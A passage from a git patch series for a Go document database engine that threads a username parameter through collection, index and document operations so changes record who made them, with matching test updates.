context.Context, username, collectionName string, documentIdFieldName string) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -391,6 +391,7 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, do opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -431,7 +432,7 @@ func (e *Engine) UpdateCollection(ctx context.Context, collectionName string, do } // DeleteCollection deletes a collection. -func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) error { +func (e *Engine) DeleteCollection(ctx context.Context, username, collectionName string) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -439,6 +440,7 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -465,7 +467,7 @@ func (e *Engine) DeleteCollection(ctx context.Context, collectionName string) er return mayTranslateError(err) } -func (e *Engine) AddField(ctx context.Context, collectionName string, field *protomodel.Field) error { +func (e *Engine) AddField(ctx context.Context, username, collectionName string, field *protomodel.Field) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -492,6 +494,7 @@ func (e *Engine) AddField(ctx context.Context, collectionName string, field *pro opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -520,7 +523,7 @@ func (e *Engine) AddField(ctx context.Context, collectionName string, field *pro return mayTranslateError(err) } -func (e *Engine) RemoveField(ctx context.Context, collectionName string, fieldName string) error { +func (e *Engine) RemoveField(ctx context.Context, username, collectionName string, fieldName string) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -533,6 +536,7 @@ func (e *Engine) RemoveField(ctx context.Context, collectionName string, fieldNa opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -559,7 +563,7 @@ func (e *Engine) RemoveField(ctx context.Context, collectionName string, fieldNa return mayTranslateError(err) } -func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields []string, isUnique bool) error { +func (e *Engine) CreateIndex(ctx context.Context, username, collectionName string, fields []string, isUnique bool) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -571,6 +575,7 @@ func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -604,7 +609,7 @@ func (e *Engine) CreateIndex(ctx context.Context, collectionName string, fields return mayTranslateError(err) } -func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields []string) error { +func (e *Engine) DeleteIndex(ctx context.Context, username, collectionName string, fields []string) error { err := validateCollectionName(collectionName) if err != nil { return err @@ -616,6 +621,7 @@ func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0). WithExplicitClose(true) @@ -649,8 +655,8 @@ func (e *Engine) DeleteIndex(ctx context.Context, collectionName string, fields return mayTranslateError(err) } -func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) { - txID, docIDs, err := e.InsertDocuments(ctx, collectionName, []*structpb.Struct{doc}) +func (e *Engine) InsertDocument(ctx context.Context, username, collectionName string, doc *structpb.Struct) (txID uint64, docID DocumentID, err error) { + txID, docIDs, err := e.InsertDocuments(ctx, username, collectionName, []*structpb.Struct{doc}) if err != nil { return 0, nil, err } @@ -658,9 +664,10 @@ func (e *Engine) InsertDocument(ctx context.Context, collectionName string, doc return txID, docIDs[0], nil } -func (e *Engine) InsertDocuments(ctx context.Context, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { +func (e *Engine) InsertDocuments(ctx context.Context, username, collectionName string, docs []*structpb.Struct) (txID uint64, docIDs []DocumentID, err error) { opts := sql.DefaultTxOptions(). WithUnsafeMVCC(true). + WithExtra([]byte(username)). WithSnapshotMustIncludeTxID(func(lastPrecommittedTxID uint64) uint64 { return 0 }). WithSnapshotRenewalPeriod(0) @@ -816,7 +823,7 @@ func (e *Engine) structValueFromFieldPath(doc *structpb.Struct, fieldPath string return nil, fmt.Errorf("%w('%s')", ErrFieldDoesNotExist, fieldPath) } -func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) { +func (e *Engine) ReplaceDocuments(ctx context.Context, username string, query *protomodel.Query, doc *structpb.Struct) (revisions []*protomodel.DocumentAtRevision, err error) { if query == nil { return nil, ErrIllegalArguments } @@ -827,7 +834,7 @@ func (e *Engine) ReplaceDocuments(ctx context.Context, query *protomodel.Query, } } - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username))) if err != nil { return nil, mayTranslateError(err) } @@ -1323,12 +1330,12 @@ func (e *Engine) getEncodedDocument(ctx context.Context, key []byte, atTx uint64 } // DeleteDocuments deletes documents matching the query -func (e *Engine) DeleteDocuments(ctx context.Context, query *protomodel.Query) error { +func (e *Engine) DeleteDocuments(ctx context.Context, username string, query *protomodel.Query) error { if query == nil { return ErrIllegalArguments } - sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions()) + sqlTx, err := e.sqlEngine.NewTx(ctx, sql.DefaultTxOptions().WithExtra([]byte(username))) if err != nil { return mayTranslateError(err) } diff --git a/embedded/document/engine_test.go b/embedded/document/engine_test.go index cd7e96b1a0..b6d2d53802 100644 --- a/embedded/document/engine_test.go +++ b/embedded/document/engine_test.go @@ -400,7 +400,7 @@ func TestGetDocument(t *testing.T) { ) require.NoError(t, err) - _, _, err = engine.InsertDocument(context.Background(), "unexistentCollectionName", &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", "unexistentCollectionName", &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), @@ -414,7 +414,7 @@ func TestGetDocument(t *testing.T) { }) require.ErrorIs(t, err, ErrCollectionDoesNotExist) - _, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), @@ -499,7 +499,7 @@ func TestDocumentAudit(t *testing.T) { require.NoError(t, err) // add document to collection - txID, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + txID, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue("wonderland"), "pincode": structpb.NewNumberValue(2), @@ -532,7 +532,7 @@ func TestDocumentAudit(t *testing.T) { }, } - revisions, err := engine.ReplaceDocuments(context.Background(), query, &structpb.Struct{ + revisions, err := engine.ReplaceDocuments(context.Background(), "admin", query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "_id": structpb.NewStringValue(docID.EncodeToHexString()), "pincode": structpb.NewNumberValue(2), @@ -574,7 +574,7 @@ func TestDocumentAudit(t *testing.T) { require.Equal(t, uint64(i+1), docAudit.Revision) } - err = engine.DeleteDocuments(context.Background(), &protomodel.Query{ + err = engine.DeleteDocuments(context.Background(), "admin", &protomodel.Query{ CollectionName: collectionName, Expressions: []*protomodel.QueryExpression{ { @@ -639,7 +639,7 @@ func TestQueryDocuments(t *testing.T) { // add documents to collection for i := 1.0; i <= 11; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": func() *structpb.Value { if i == 11 { @@ -1060,7 +1060,7 @@ func TestDocumentUpdate(t *testing.T) { ) require.NoError(t, err) - txID, docID, err := engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + txID, docID, err := engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(30), @@ -1089,7 +1089,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - revisions, err := engine.ReplaceDocuments(ctx, query, &structpb.Struct{ + revisions, err := engine.ReplaceDocuments(ctx, "admin", query, &structpb.Struct{ Fields: map[string]*structpb.Value{ "name": structpb.NewStringValue("Alice"), "age": structpb.NewNumberValue(31), @@ -1158,7 +1158,7 @@ func TestDocumentUpdate(t *testing.T) { } // Test error case when no documents are found - revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Empty(t, revisions) }) @@ -1187,13 +1187,13 @@ func TestDocumentUpdate(t *testing.T) { }, } - revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Empty(t, revisions) }) t.Run("replace document with invalid arguments should fail", func(t *testing.T) { - _, err := engine.ReplaceDocuments(ctx, nil, nil) + _, err := engine.ReplaceDocuments(ctx, "admin", nil, nil) require.ErrorIs(t, err, ErrIllegalArguments) }) @@ -1221,7 +1221,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - _, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + _, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.ErrorIs(t, err, ErrIllegalArguments) }) @@ -1241,7 +1241,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - revisions, err := engine.ReplaceDocuments(ctx, query, nil) + revisions, err := engine.ReplaceDocuments(ctx, "admin", query, nil) require.NoError(t, err) require.Len(t, revisions, 1) }) @@ -1260,7 +1260,7 @@ func TestDocumentUpdate(t *testing.T) { }, } - revisions, err := engine.ReplaceDocuments(ctx, query, toUpdateDoc) + revisions, err := engine.ReplaceDocuments(ctx, "admin", query, toUpdateDoc) require.NoError(t, err) require.Len(t, revisions, 1) }) @@ -1287,7 +1287,7 @@ func TestFloatSupport(t *testing.T) { require.NoError(t, err) // add document to collection - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(3.1), }, @@ -1342,7 +1342,7 @@ func TestDeleteCollection(t *testing.T) { // add documents to collection for i := 1.0; i <= 10; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(i), }, @@ -1351,7 +1351,7 @@ func TestDeleteCollection(t *testing.T) { } t.Run("delete collection and check if it is empty", func(t *testing.T) { - err = engine.DeleteCollection(context.Background(), collectionName) + err = engine.DeleteCollection(context.Background(), "admin", collectionName) require.NoError(t, err) collectionList, err := engine.GetCollections(context.Background()) @@ -1391,6 +1391,7 @@ func TestUpdateCollection(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), + "admin", "1invalidCollectionName", "", ) @@ -1401,6 +1402,7 @@ func TestUpdateCollection(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), + "admin", "unexistentCollectionName", "", ) @@ -1411,6 +1413,7 @@ func TestUpdateCollection(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), + "admin", collectionName, "document", ) @@ -1421,6 +1424,7 @@ func TestUpdateCollection(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), + "admin", collectionName, "", ) @@ -1437,6 +1441,7 @@ func TestUpdateCollection(t *testing.T) { // update collection err := engine.UpdateCollection( context.Background(), + "admin", collectionName, "_docid", ) @@ -1452,6 +1457,7 @@ func TestUpdateCollection(t *testing.T) { t.Run("update collection with invalid id field name", func(t *testing.T) { err := engine.UpdateCollection( context.Background(), + "admin", collectionName, "document", ) @@ -1486,6 +1492,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), + "admin", "1invalidCollectionName", []string{}, false, @@ -1497,6 +1504,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), + "admin", collectionName, []string{}, false, @@ -1508,6 +1516,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), + "admin", collectionName, []string{"1invalidFieldName"}, false, @@ -1519,6 +1528,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), + "admin", collectionName, []string{"unexistentFieldName"}, false, @@ -1527,6 +1537,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.RemoveField( context.Background(), + "admin", collectionName, "unexistentFieldName", ) @@ -1536,6 +1547,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { t.Run("adding invalid field should fail", func(t *testing.T) { err := engine.AddField( context.Background(), + "admin", "1invalidCollectionName", &protomodel.Field{ Name: "newFieldName", @@ -1546,6 +1558,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.AddField( context.Background(), + "admin", collectionName, &protomodel.Field{ Name: "1invalidFieldName", @@ -1556,6 +1569,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.AddField( context.Background(), + "admin", collectionName, &protomodel.Field{ Name: "newFieldName", @@ -1568,6 +1582,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { t.Run("removing invalid field should fail", func(t *testing.T) { err := engine.AddField( context.Background(), + "admin", "1invalidCollectionName", &protomodel.Field{ Name: "newFieldName", @@ -1578,6 +1593,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.AddField( context.Background(), + "admin", collectionName, &protomodel.Field{ Name: "1invalidFieldName", @@ -1609,6 +1625,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.AddField( context.Background(), + "admin", collectionName, &protomodel.Field{ Name: "active", @@ -1619,6 +1636,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.AddField( context.Background(), + "admin", collectionName, &protomodel.Field{ Name: "active", @@ -1629,6 +1647,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.CreateIndex( context.Background(), + "admin", collectionName, []string{"active"}, false, @@ -1649,6 +1668,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.RemoveField( context.Background(), + "admin", collectionName, "active", ) @@ -1656,6 +1676,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.DeleteIndex( context.Background(), + "admin", collectionName, []string{"active"}, ) @@ -1663,6 +1684,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.RemoveField( context.Background(), + "admin", collectionName, "active", ) @@ -1670,6 +1692,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { err = engine.RemoveField( context.Background(), + "admin", collectionName, "active", ) @@ -1680,6 +1703,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), + "admin", "1invalidCollectionName", []string{"number"}, ) @@ -1690,6 +1714,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), + "admin", collectionName, []string{}, ) @@ -1700,6 +1725,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), + "admin", collectionName, []string{"1invalidFieldName"}, ) @@ -1710,6 +1736,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.DeleteIndex( context.Background(), + "admin", collectionName, []string{"number"}, ) @@ -1725,6 +1752,7 @@ func TestCollectionUpdateWithDeletedIndex(t *testing.T) { // update collection err := engine.CreateIndex( context.Background(), + "admin", collectionName, []string{"number"}, false, @@ -1774,7 +1802,7 @@ func TestBulkInsert(t *testing.T) { docs = append(docs, doc) } - txID, docIDs, err := engine.InsertDocuments(ctx, collectionName, docs) + txID, docIDs, err := engine.InsertDocuments(ctx, "admin", collectionName, docs) require.NoError(t, err) require.Equal(t, uint64(2), txID) require.Len(t, docIDs, 10) @@ -1817,7 +1845,7 @@ func TestPaginationOnReader(t *testing.T) { // add documents to collection for i := 1.0; i <= 20; i++ { - _, _, err = engine.InsertDocument(ctx, collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(ctx, "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "country": structpb.NewStringValue(fmt.Sprintf("country-%d", int(i))), "pincode": structpb.NewNumberValue(i), @@ -1874,7 +1902,7 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) // add document to collection - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "pincode": structpb.NewNumberValue(2), "country": structpb.NewStringValue("wonderland"), @@ -1911,10 +1939,10 @@ func TestDeleteDocument(t *testing.T) { require.NoError(t, err) require.Len(t, docs, 1) - err = engine.DeleteDocuments(ctx, nil) + err = engine.DeleteDocuments(ctx, "admin", nil) require.ErrorIs(t, err, ErrIllegalArguments) - err = engine.DeleteDocuments(ctx, query) + err = engine.DeleteDocuments(ctx, "admin", query) require.NoError(t, err) reader, err = engine.GetDocuments(ctx, query, 0) @@ -1993,7 +2021,7 @@ func TestGetDocuments_WithOrderBy(t *testing.T) { noOfDocs := 5 for i := 1; i <= noOfDocs; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(float64(i)), }, @@ -2085,7 +2113,7 @@ func BenchmarkInsertion(b *testing.B) { for w := 0; w < noOfWorkers; w++ { go func(w int) { for i := 1; i <= noOfDocs; i++ { - _, _, err = engine.InsertDocument(context.Background(), collectionName, &structpb.Struct{ + _, _, err = engine.InsertDocument(context.Background(), "admin", collectionName, &structpb.Struct{ Fields: map[string]*structpb.Value{ "number": structpb.NewNumberValue(float64(w*noOfDocs + i)), }, From a84851c3878a20a34a3e85d961bef07373a1b438 Mon Sep 17 00:00:00 2001 From: Jeronimo Irazabal Date: Wed, 27 Sep 2023 17:32:14 +0200 Subject: [PATCH 0817/1062] chore(pkg/database): register username when applying a change Signed-off-by: Jeronimo Irazabal --- pkg/database/document_database.go | 54 ++++++++++----------- pkg/database/document_database_test.go | 66 +++++++++++++------------- pkg/database/truncator_test.go | 4 +- 3 files changed, 62 insertions(+), 62 deletions(-) diff --git a/pkg/database/document_database.go b/pkg/database/document_database.go index bc3eb0e74d..7611950f32 100644 --- a/pkg/database/document_database.go +++ b/pkg/database/document_database.go @@ -34,21 +34,21 @@ type DocumentDatabase interface { // CreateCollection creates a new collection CreateCollection(ctx context.Context, username string, req *protomodel.CreateCollectionRequest) (*protomodel.CreateCollectionResponse, error) // UpdateCollection updates an existing collection - UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) + UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) // DeleteCollection deletes a collection - DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) + DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) // AddField adds a new field in a collection - AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) + AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) // RemoveField removes a field from a collection - RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) + RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) // CreateIndex creates an index for a collection - CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) + CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) // DeleteIndex deletes an index from a collection - DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) + DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) // InsertDocuments creates new documents - InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) + InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) // ReplaceDocuments replaces documents matching the query - ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) + ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) // AuditDocument returns the document audit history AuditDocument(ctx context.Context, req *protomodel.AuditDocumentRequest) (*protomodel.AuditDocumentResponse, error) // SearchDocuments returns the documents matching the query @@ -56,7 +56,7 @@ type DocumentDatabase interface { // CountDocuments returns the number of documents matching the query CountDocuments(ctx context.Context, req *protomodel.CountDocumentsRequest) (*protomodel.CountDocumentsResponse, error) // DeleteDocuments deletes documents maching the query - DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) + DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) // ProofDocument returns the proofs for a document ProofDocument(ctx context.Context, req *protomodel.ProofDocumentRequest) (*protomodel.ProofDocumentResponse, error) } @@ -106,7 +106,7 @@ func (d *db) GetCollections(ctx context.Context, _ *protomodel.GetCollectionsReq } // UpdateCollection updates an existing collection -func (d *db) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { +func (d *db) UpdateCollection(ctx context.Context, username string, req *protomodel.UpdateCollectionRequest) (*protomodel.UpdateCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -118,7 +118,7 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollect return nil, ErrIllegalArguments } - err := d.documentEngine.UpdateCollection(ctx, req.Name, req.DocumentIdFieldName) + err := d.documentEngine.UpdateCollection(ctx, username, req.Name, req.DocumentIdFieldName) if err != nil { return nil, err } @@ -127,7 +127,7 @@ func (d *db) UpdateCollection(ctx context.Context, req *protomodel.UpdateCollect } // DeleteCollection deletes a collection -func (d *db) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { +func (d *db) DeleteCollection(ctx context.Context, username string, req *protomodel.DeleteCollectionRequest) (*protomodel.DeleteCollectionResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -139,7 +139,7 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollect return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteCollection(ctx, req.Name) + err := d.documentEngine.DeleteCollection(ctx, username, req.Name) if err != nil { return nil, err } @@ -148,7 +148,7 @@ func (d *db) DeleteCollection(ctx context.Context, req *protomodel.DeleteCollect } // AddField adds a new field in a collection -func (d *db) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { +func (d *db) AddField(ctx context.Context, username string, req *protomodel.AddFieldRequest) (*protomodel.AddFieldResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -160,7 +160,7 @@ func (d *db) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*pr return nil, ErrIllegalArguments } - err := d.documentEngine.AddField(ctx, req.CollectionName, req.Field) + err := d.documentEngine.AddField(ctx, username, req.CollectionName, req.Field) if err != nil { return nil, err } @@ -169,7 +169,7 @@ func (d *db) AddField(ctx context.Context, req *protomodel.AddFieldRequest) (*pr } // RemoveField removes a field from a collection -func (d *db) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { +func (d *db) RemoveField(ctx context.Context, username string, req *protomodel.RemoveFieldRequest) (*protomodel.RemoveFieldResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -181,7 +181,7 @@ func (d *db) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest return nil, ErrIllegalArguments } - err := d.documentEngine.RemoveField(ctx, req.CollectionName, req.FieldName) + err := d.documentEngine.RemoveField(ctx, username, req.CollectionName, req.FieldName) if err != nil { return nil, err } @@ -190,7 +190,7 @@ func (d *db) RemoveField(ctx context.Context, req *protomodel.RemoveFieldRequest } // CreateIndex creates an index for a collection -func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { +func (d *db) CreateIndex(ctx context.Context, username string, req *protomodel.CreateIndexRequest) (*protomodel.CreateIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -202,7 +202,7 @@ func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest return nil, ErrIllegalArguments } - err := d.documentEngine.CreateIndex(ctx, req.CollectionName, req.Fields, req.IsUnique) + err := d.documentEngine.CreateIndex(ctx, username, req.CollectionName, req.Fields, req.IsUnique) if err != nil { return nil, err } @@ -211,7 +211,7 @@ func (d *db) CreateIndex(ctx context.Context, req *protomodel.CreateIndexRequest } // DeleteIndex deletes an index from a collection -func (d *db) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { +func (d *db) DeleteIndex(ctx context.Context, username string, req *protomodel.DeleteIndexRequest) (*protomodel.DeleteIndexResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -223,7 +223,7 @@ func (d *db) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteIndex(ctx, req.CollectionName, req.Fields) + err := d.documentEngine.DeleteIndex(ctx, username, req.CollectionName, req.Fields) if err != nil { return nil, err } @@ -232,7 +232,7 @@ func (d *db) DeleteIndex(ctx context.Context, req *protomodel.DeleteIndexRequest } // InsertDocuments inserts multiple documents -func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { +func (d *db) InsertDocuments(ctx context.Context, username string, req *protomodel.InsertDocumentsRequest) (*protomodel.InsertDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -244,7 +244,7 @@ func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocument return nil, ErrIllegalArguments } - txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, req.CollectionName, req.Documents) + txID, docIDs, err := d.documentEngine.InsertDocuments(ctx, username, req.CollectionName, req.Documents) if err != nil { return nil, err } @@ -261,7 +261,7 @@ func (d *db) InsertDocuments(ctx context.Context, req *protomodel.InsertDocument } // ReplaceDocuments replaces documents matching the query -func (d *db) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { +func (d *db) ReplaceDocuments(ctx context.Context, username string, req *protomodel.ReplaceDocumentsRequest) (*protomodel.ReplaceDocumentsResponse, error) { d.mutex.RLock() defer d.mutex.RUnlock() @@ -273,7 +273,7 @@ func (d *db) ReplaceDocuments(ctx context.Context, req *protomodel.ReplaceDocume return nil, ErrIllegalArguments } - revisions, err := d.documentEngine.ReplaceDocuments(ctx, req.Query, req.Document) + revisions, err := d.documentEngine.ReplaceDocuments(ctx, username, req.Query, req.Document) if err != nil { return nil, err } @@ -337,7 +337,7 @@ func (d *db) CountDocuments(ctx context.Context, req *protomodel.CountDocumentsR }, nil } -func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { +func (d *db) DeleteDocuments(ctx context.Context, username string, req *protomodel.DeleteDocumentsRequest) (*protomodel.DeleteDocumentsResponse, error) { if d.isReplica() { return nil, ErrIsReplica } @@ -346,7 +346,7 @@ func (d *db) DeleteDocuments(ctx context.Context, req *protomodel.DeleteDocument return nil, ErrIllegalArguments } - err := d.documentEngine.DeleteDocuments(ctx, req.Query) + err := d.documentEngine.DeleteDocuments(ctx, username, req.Query) if err != nil { return nil, err } diff --git a/pkg/database/document_database_test.go b/pkg/database/document_database_test.go index 0ed74b006a..d481b54b48 100644 --- a/pkg/database/document_database_test.go +++ 